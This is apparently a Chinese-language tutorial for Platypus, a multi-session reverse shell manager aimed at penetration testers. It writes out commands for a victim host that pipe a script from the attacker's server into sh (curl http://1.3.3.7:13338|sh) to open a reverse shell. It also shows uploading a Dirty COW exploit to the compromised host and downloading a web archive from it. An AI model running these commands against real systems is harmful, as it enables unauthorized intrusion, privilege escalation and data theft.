0x01 Platypus 介绍
Platypus 是一款支持多会话的交互式反向 Shell 管理器。在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:交互式 Shell、文件操作、隧道等),可以更方便灵活地对反向 Shell 会话进行管理。
作为一名渗透测试工程师:
- 您是否遇到过辛辛苦苦拿到的 Shell 被一个不小心按下的 Ctrl+C 杀掉。
- 您是否苦于 netcat 无法方便地在反向 Shell 中上传和下载文件?
- 您是否还在苦苦铭记那些冗长繁琐的反向 Shell 的命令?
- 您是否还在为您的每一个 Shell 开启一个新的 netcat 端口进行监听?
如果您曾经遇到并且苦于上述的情景,那么 Platypus 将会是您的好伙伴!快来上手尝试一下吧!
0x02 Platypus 教程
注意:通常 Platypus 需要运行在具有公网 IP 的服务器上,假设其 IP 地址为 1.3.3.7,同时需要在服务器的安全组防火墙设置好对外开放相应端口号,例如:13338。
工具运行
将工具上传到公网服务器,启动命令行,切换到工具目录,输入如下内容运行即可。
# Linux 环境
./platypus_linux_amd64
# Windows 环境
.\platypus_windows_amd64.exe
# Mac 环境
./platypus_darwin_amd64
在受害主机上执行如下命令,反弹 Shell 至当前 Platypus 服务器端口(1.3.3.7:13338)。
curl http://1.3.3.7:13338|sh
想要反弹 Shell 至其他平台(2.3.3.7:4444),可使用如下命令。
curl http://1.3.3.7:13338/2.3.3.7/4444|sh
注意:这里在受害主机在运行命令的时候有可能会卡住,只需要在 Platypus 服务器运行的命令界面按下回车,即可正常上线。
反弹成功之后,Platypus 会对新上线的 Shell 进行基础的信息搜集(如:操作系统,用户名等), 当信息搜集结束后,即可利用 Platypus 与之进行交互。
会话管理
在Web界面中,可以直接查看操作上线的shell会话。
在命令行界面中,可以使用 List
命令列出当前正在监听的服务器以及每一个服务器上存活的 Shell;使用 Jump
命令可以跳转到某一个 Shell 对其进行操作;当跳转到某一个 Shell 之后,使用 Interact
命令直接对当前的 Shell 执行系统命令操作;使用 exit
命令可以退出当前 Shell 会话操作。
在执行 Interact
命令前,可以先输入 PTY
命令,可以获取到交互式 Shell。
实际测试过程中,使用命令行方式容易卡顿延迟,有条件还是使用Web界面方式进行操作更方便。
上传文件
将 Platypus 服务器当前文件夹下的 dirtyc0w.c 上传至当前交互主机的 /tmp/dirtyc0w.c。
» Upload ./dirtyc0w.c /tmp/dirtyc0w.c
下载文件
将当前交互主机的 /tmp/www.tar.gz
下载至 Platypus 服务器当前文件夹下的 www.tar.gz
中。
» Download /tmp/www.tar.gz ./www.tar.gz